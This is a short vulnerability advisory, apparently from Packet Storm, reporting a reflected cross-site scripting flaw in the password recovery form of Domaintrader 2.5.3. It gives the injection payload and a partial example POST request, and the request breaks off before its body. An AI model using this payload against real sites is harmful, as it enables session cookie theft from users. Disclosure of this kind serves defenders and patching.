Domaintrader 2.5.3 Cross Site Scripting

Type packetstorm
Reporter Uladzislau Murashka
Modified 2018-03-22T00:00:00


                                            `i>>?# Domaintrader v.2.5.3 Cross-Site Scripting  
# 6th of February, 2018  
# Found by Uladzislau Murashka -  
# Vendor homepage:  
# Software link:  
# Version of local application copy: 2.5.2 but valid also for 2.5.3  
# Tested on: Debian / PHP 5.x / Mozilla Firefox 56.0 (demo environment)  
# CVE: None (  
Vulnerable page:  
Exploit can be executed with POST request for password recovery:  
Vulnerable field: <input name="email_address" id="email_address" value="" type="text">  
Parameter "email_address=" is not filtered properly and also shows in output data from this field not filtered with any HTML char.  
Used payload: ></SCRIPT>">'><SCRIPT>alert(document.cookie)</SCRIPT>  
Example request on test environment:  
POST /test/2.5.2/recoverlogin.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 129  
Referer: http://localhost/test/2.5.2/recoverlogin.php  
Cookie: PHPSESSID=c489e1n55o930d9ar0mdia2440  
Connection: close  
Upgrade-Insecure-Requests: 1  
By Uladzislau Murashka (